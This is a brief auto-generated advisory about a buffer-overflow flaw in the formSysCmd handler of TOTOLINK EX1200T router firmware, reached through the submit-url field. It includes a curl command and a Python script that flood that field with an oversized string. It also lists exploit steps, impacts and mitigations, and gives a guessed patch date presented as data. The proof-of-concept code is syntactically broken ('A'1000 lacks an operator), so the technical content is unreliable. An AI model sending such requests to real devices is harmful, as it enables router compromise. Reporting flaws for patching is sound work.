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How the CVE Works
The vulnerability in TOTOLINK EX1200T (4.1.2cu.5232_B20210713) stems from improper handling of HTTP POST requests in the `/boafrm/formSysCmd` component. Attackers can exploit a buffer overflow via the `submit-url` argument, allowing remote code execution. Due to insufficient input validation, crafted requests overflow the buffer, potentially granting control over the device. Publicly disclosed exploits increase the risk of widespread attacks.
DailyCVE Form
Platform: TOTOLINK EX1200T
Version: 4.1.2cu.5232_B20210713
Vulnerability: Buffer Overflow
Severity: Critical
Date: 06/16/2025
Prediction: Patch by 07/15/2025
What Undercode Say
curl -X POST -d "submit-url=$(python -c 'print("A"1000)')" http://target/boafrm/formSysCmd
import requests
payload = "A" 1000
requests.post("http://target/boafrm/formSysCmd", data={"submit-url": payload})
How Exploit
- Craft malicious HTTP POST request
- Overflow `submit-url` with oversized data
- Execute arbitrary code
Protection from this CVE
- Apply vendor patch
- Disable remote admin
- Filter input
Impact
- Remote code execution
- Device compromise
- Network infiltration
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
